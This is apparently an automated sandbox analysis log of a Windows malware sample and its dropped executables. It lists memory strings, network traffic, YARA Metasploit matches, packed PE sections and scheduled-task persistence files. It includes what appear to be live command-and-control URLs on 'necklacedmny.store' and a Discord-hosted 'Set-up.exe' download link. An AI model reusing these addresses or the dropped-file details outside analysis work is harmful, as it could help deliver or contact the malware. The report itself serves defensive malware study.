Source: axplong.exe, 00000014.00000002.2643417791.000000000155D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=6722286
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://github.com/aws/jsii
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://github.com/aws/jsii.git
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://github.com/aws/jsii/issues
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
Source: skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2249217090.00000000019E2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2130264389.00000000019E0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2130435385.00000000019E0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234866352.00000000061DC000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2327206239.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234504978.00000000061DA000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.0000000000726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/..H
Source: skotes.exe, 0000000B.00000003.2327206239.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/3
Source: skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/55
Source: skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/:
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/N
Source: skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Z
Source: skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2206792115.00000000019FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2192341104.00000000061E0000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2217863632.00000000019FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api)
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiRpY
Source: skotes.exe, 0000000B.00000003.2192341104.00000000061E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
Source: skotes.exe, 0000000B.00000003.2206792115.00000000019FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2217863632.00000000019FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib&
Source: skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/arddolum3
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/p
Source: skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/~
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apil
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.storem
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1534878699.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1534878699.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50020 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000012.00000002.2666308747.0000000002200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name:
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name: .idata
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name:
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: .idata
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: 9de8348ea3.exe.6.dr	Static PE information: section name:
Source: 9de8348ea3.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: .rsrc
Source: random[3].exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: 8301009305.exe.6.dr	Static PE information: section name:
Source: 8301009305.exe.6.dr	Static PE information: section name: .idata
Source: 8301009305.exe.6.dr	Static PE information: section name:
Source: 90f56e27b8.exe.6.dr	Static PE information: section name:
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: .rsrc
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: .idata
Source: 90f56e27b8.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: de057a4668.exe.6.dr	Static PE information: section name:
Source: de057a4668.exe.6.dr	Static PE information: section name: .idata
Source: 4264524541.exe.6.dr	Static PE information: section name:
Source: 4264524541.exe.6.dr	Static PE information: section name: .idata
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name:
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name: .idata
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name:
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: .idata
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name:
Source: axplong.exe.12.dr	Static PE information: section name:
Source: axplong.exe.12.dr	Static PE information: section name: .idata
Source: axplong.exe.12.dr	Static PE information: section name:
Source: random[2].exe.20.dr	Static PE information: section name:
Source: random[2].exe.20.dr	Static PE information: section name: .rsrc
Source: random[2].exe.20.dr	Static PE information: section name: .idata
Source: random[2].exe.20.dr	Static PE information: section name:
Source: cc1af330ba.exe.20.dr	Static PE information: section name:
Source: cc1af330ba.exe.20.dr	Static PE information: section name: .rsrc
Source: cc1af330ba.exe.20.dr	Static PE information: section name: .idata
Source: cc1af330ba.exe.20.dr	Static PE information: section name:
Source: 69f64d774a.exe.20.dr	Static PE information: section name:
Source: 69f64d774a.exe.20.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File created: C:\Windows\Tasks\axplong.job

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Code function: 3_2_007A907F	3_2_007A907F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FCE530	6_2_00FCE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_01002D10	6_2_01002D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_010031A8	6_2_010031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FC4DE0	6_2_00FC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_01007049	6_2_01007049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_01008860	6_2_01008860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_010078BB	6_2_010078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0100779B	6_2_0100779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FF7F36	6_2_00FF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FC4B30	6_2_00FC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBAC	11_3_019ECBAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBDE	11_3_019ECBDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBDB	11_3_019ECBDB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBAC	11_3_019ECBAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBDE	11_3_019ECBDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBDB	11_3_019ECBDB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBAC	11_3_019ECBAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBDE	11_3_019ECBDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_3_019ECBDB	11_3_019ECBDB

Source: a55050ee6f.exe.6.dr	Static PE information: No import functions for PE file found
Source: random[3].exe.6.dr	Static PE information: No import functions for PE file found
Source: 90f56e27b8.exe.6.dr	Static PE information: No import functions for PE file found
Source: random[2].exe.6.dr	Static PE information: No import functions for PE file found

Source: a55050ee6f.exe.6.dr	Static PE information: Data appended to the last section found
Source: random[3].exe.6.dr	Static PE information: Data appended to the last section found
Source: 90f56e27b8.exe.6.dr	Static PE information: Data appended to the last section found
Source: random[2].exe.6.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000003.1680481843.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675664417.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665640819.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665739616.0000000005AAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666817406.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665240875.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683672486.0000000005D99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684730446.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679957679.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659722178.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
